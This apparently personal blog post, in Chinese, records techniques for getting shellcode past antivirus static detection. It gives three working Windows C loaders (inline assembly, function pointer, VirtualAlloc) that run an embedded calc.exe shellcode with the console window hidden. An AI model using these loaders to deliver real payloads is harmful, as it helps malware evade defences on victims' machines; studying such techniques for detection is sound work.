摘要:最近研究了下shellcode免杀,这里简单记录一下。文章里面会涉及到很多已经过时的上古东西,不必太过纠结。

关于免杀

免杀大致上可以分为以下两种:

静态免杀:主要是通过对shellcode进行分离、混淆、加密来规避杀毒软件的检测。静态免杀主要针对的是杀毒软件的特征检测。本文主要记录我研究静态免杀时遇到的各种千奇百怪的问题。
动态免杀:主要是利用来规避杀毒软件的检测。动态免杀主要针对的是杀毒软件的行为检测、云查杀。动态免杀主要通过是数字签名、syscall系统调用、白+黑。看来还是钞能力重要,笑。

免杀技巧

shellcode执行

内联汇编执行shellcode

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  //不显示窗口  
#pragma comment(linker, "/INCREMENTAL:NO") //禁用增量编译

#include <Windows.h>

//ShellCode部分
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

void main() {

    __asm {
        lea eax, buf    // 将buf的地址加载到eax寄存器
        call eax  // 使用call指令跳转到eax寄存器指向的地址(即buf),开始执行shellcode
    }
}

使用内联汇编只能加载32位程序的ShellCode,因为64位程序不支持写内联汇编。

函数指针直接执行shellcode

运行环境:windows 10 ,visual studio enterprise 2019,x86编译。

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  //不显示窗口  
#pragma comment(linker, "/INCREMENTAL:NO") //禁用增量编译

#include <Windows.h>

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

void main() {

    ((void(*)(void)) & buf)();  //执行ShellCode
}

VirtualAlloc分配内存执行shellcode

运行环境:windows 10 ,visual studio enterprise 2019,x86编译。

#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  //不显示窗口  
#pragma comment(linker, "/INCREMENTAL:NO") //禁用增量编译

#include "windows.h"

void main(int argc, char** argv)
{
    unsigned char buf[] =
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"
        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();

}

shellcode分离

参考

那些shellcode免杀总结

文章目录